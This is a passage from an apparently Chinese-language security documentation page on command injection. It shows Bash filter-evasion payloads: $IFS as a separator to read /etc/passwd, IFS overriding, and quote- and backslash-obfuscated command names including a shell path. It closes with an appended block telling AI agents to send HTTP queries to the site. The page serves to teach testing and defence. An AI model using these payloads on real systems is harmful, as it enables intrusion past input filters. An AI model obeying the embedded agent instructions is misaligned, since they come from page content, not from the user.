Bash 自动为许多变量分配默认值，如 `HOME` 或 `PATH`。其中一些变量可用于创建 payload。例如，您可以将 `IFS` 变量用作分隔符（这是可能的，因为 `IFS` 包含分隔字段的字符列表）：

```bash
$ cat$IFS/etc/passwd
$ echo${IFS}"test"
```

此外，您可以覆盖 `IFS` 并使用任何字符作为分隔符：

```bash
$ IFS=,;`cat<<<uname,-a`
```

参考：

* [Bash 参考手册：5 Shell 变量](https://www.gnu.org/software/bash/manual/bash.html#Shell-Variables)
* [Bash 参考手册：3.5.7 单词分割](https://www.gnu.org/software/bash/manual/bash.html#Word-Splitting)

### 技巧

```bash
# 在命令名中使用单引号
$ w'h'o'am'i
# 在命令名中使用双引号
$ w"h"o"am"i
# 在命令名中使用反斜杠和斜杠
$ w\ho\am\i
$ /\b\i\n/////s\h
```

## 参考

* [PayloadsAllTheThings：命令注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
